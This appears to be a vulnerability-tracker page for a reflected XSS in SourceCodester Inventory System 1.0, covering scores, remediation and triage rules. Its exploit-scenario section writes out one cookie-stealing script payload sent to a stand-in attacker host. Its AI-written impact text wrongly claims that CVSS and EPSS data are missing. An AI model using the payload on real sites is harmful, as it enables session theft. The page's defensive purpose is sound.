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Inventory System CVE-2026-30567

| EUVDEUVD-2026-16728 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-27 cve@mitre.org
6.1
CVSS 3.1 · NVD
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Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

Risk assessment is constrained by incomplete data: CVSS vector, CVSS numeric score, EPSS score, and KEV status are all absent from available intelligence. However, multiple positive exploitation signals are present. First, reflected XSS is a well-understood attack class with low technical complexity (attack vector likely NETWORK, attack complexity LOW). Second, publicly available exploit code exists and is indexed in GitHub, indicating both discoverability and reproducibility by threat actors. Third, the application appears to be legacy software (version 1.0) with no evidence of active patching, suggesting affected instances may remain unpatched for extended periods. The absence of authentication requirements further reduces attacker friction. While CVSS and EPSS scores would refine this assessment, the combination of public POC availability, trivial exploitation complexity, and broad applicability to unauthenticated users suggests this merits prioritized remediation in affected environments, particularly for internet-facing deployments.

Exploit ScenarioDerived

An attacker crafts a malicious URL such as http://target.local/view_product.php?limit=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script> and distributes it to users (via phishing email, social media, or forum posts). When an unauthenticated victim clicks the link, the script executes in their browser session, transmitting their session cookies or credentials to the attacker's server. The attack requires no special privileges, authentication, or user interaction beyond clicking the link. A public exploit proof-of-concept has been published, reducing the barrier to weaponization.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.1% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 27, 2026

Reflected XSS in SourceCodester Inventory System 1.0 allows remote attackers to inject arbitrary JavaScript via the unvalidated 'limit' parameter in view_product.php. The vulnerability affects the web application without authentication requirements, and publicly available exploit code has been disclosed. While CVSS scoring data is unavailable, the combination of reflected XSS execution context, public POC availability, and lack of input sanitization indicates meaningful risk to deployments of this legacy system.

RemediationAI

Immediate action: Upgrade SourceCodester Inventory System to the latest available version if a patched release exists; however, no vendor-released patch version has been confirmed in available intelligence, and vendor advisory URL is not available. Primary mitigation while awaiting patch information: implement input validation on the 'limit' parameter to enforce numeric-only values and reject non-numeric input; apply output encoding to all user-controlled data reflected in responses using htmlspecialchars() or equivalent; implement Content Security Policy (CSP) headers with script-src restrictions to limit injection impact. Secondary measures: deploy Web Application Firewall (WAF) rules to detect and block XSS payloads in the 'limit' parameter; isolate or remove internet-facing deployments of Inventory System 1.0 until patches are available; consider migrating to a maintained inventory management solution with security-first design.

Affected VersionsENISA

n/a n/a

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Technical ContextAI · show details

The vulnerability is rooted in improper input validation and output encoding in a PHP-based web application. The view_product.php endpoint accepts a 'limit' parameter that is reflected in HTTP responses without sanitization or HTML entity encoding, violating CWE-79 (Cross-site Scripting). SourceCodester Inventory System 1.0 is a PHP application framework (CPE data not provided in source material, but identifiable as cpe:2.3:a:sourcecodester:inventory_system:1.0:*:*:*:*:*:*:*) that fails to implement parameterized output or Content Security Policy (CSP) headers. Reflected XSS of this type typically executes in the context of an unauthenticated user's browser session, allowing session hijacking, credential theft, or malware distribution.

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Severity by source

NVD PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
PoC Detected
Apr 06, 2026 - 14:16 vuln.today
Public exploit code
CVE Published
Mar 27, 2026 - 18:16 nvd
MEDIUM 6.1

DescriptionCVE.org

A Reflected Cross-Site Scripting (XSS) vulnerability exists in SourceCodester Inventory System 1.0 in the view_product.php file via the "limit" parameter. The application fails to sanitize the input, allowing remote attackers to inject arbitrary web script or HTML via a crafted URL.

Threat Intelligence Overview

EPSS Score
0.1%
Top 77% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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